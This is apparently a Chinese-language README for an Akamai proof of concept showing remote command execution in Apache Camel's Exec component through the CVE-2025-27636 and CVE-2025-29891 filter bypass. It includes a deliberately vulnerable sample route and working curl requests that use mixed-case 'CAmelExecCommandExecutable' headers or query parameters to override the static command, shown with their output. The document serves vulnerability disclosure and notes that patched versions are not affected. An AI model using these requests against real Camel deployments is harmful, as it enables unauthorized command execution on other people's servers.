
概念验证,演示如何通过利用标头和参数过滤绕过(CVE-2025-27636、CVE-2025-29891)在 Apache Camel 中经 Exec 组件实现远程代码执行。
CVE-2025–27636 和 CVE-2025-29891 是 Apache Camel 中存在的漏洞,影响的版本包括: 4.10.0-4.10.1、4.8.0-4.8.4、3.10.0-3.22.3。 利用这些漏洞,攻击者可以执行内部 Camel 方法。
以下是一个使用 Camel Exec 组件的示例漏洞应用,可被利用实现 RCE。其他 Camel 组件也可能以类似方式被利用。
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
该应用暴露了一个 HTTP 端点,旨在执行 "whoami" 命令并将结果返回给客户端。 "Exec" Camel 组件被配置为执行命令,该命令在代码中是静态定义的。
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
虽然命令是静态的,但我们可以通过传递 CamelExecCommandExecutable 头来覆盖它,根据文档说明,该头会覆盖静态 URI。 Apache Camel 本应过滤此类头,但由于对大小写处理不当,传递 "CAmelExecCommandExecutable" 头可以绕过过滤器。
执行以下命令将覆盖静态的 "whoami" 命令,改为运行任意命令:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
我们还可以通过指定 CamelExecCommandArgs 头来传递参数:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
如果使用"正常"头,我们会发现利用失败,静态的 "whoami" 命令正常执行:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
最初,人们认为请求头是唯一的利用向量。然而,Akamai 的安全研究团队向 Apache Camel 开发团队报告了另一个向量,导致分配了 CVE-2025-29891。 此问题源于与 CVE-2025-27636 相同的过滤缺陷,并允许通过请求参数调用内部方法。
在以下示例中,我们可以看到指定 "CAmelExecCommandExecutable" 查询参数会导致任意命令执行——与原始头向量一样:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
最初为修复 CVE-2025-27636 而实施的补丁也解决了此问题,因此使用最新版本 Apache Camel 的应用程序不易受此利用向量的影响。
版权所有 2025 Akamai Technologies Inc.
根据 Apache 许可证 2.0 版本(“许可证”)授权; 除非遵守许可证,否则不得使用此文件。 您可以在以下网址获取许可证副本:
http://www.apache.org/licenses/LICENSE-2.0
除非适用法律要求或书面同意,根据许可证分发的软件均按“原样”分发, 不附带任何明示或暗示的保证或条件。 有关许可证下的权限和限制,请参阅许可证。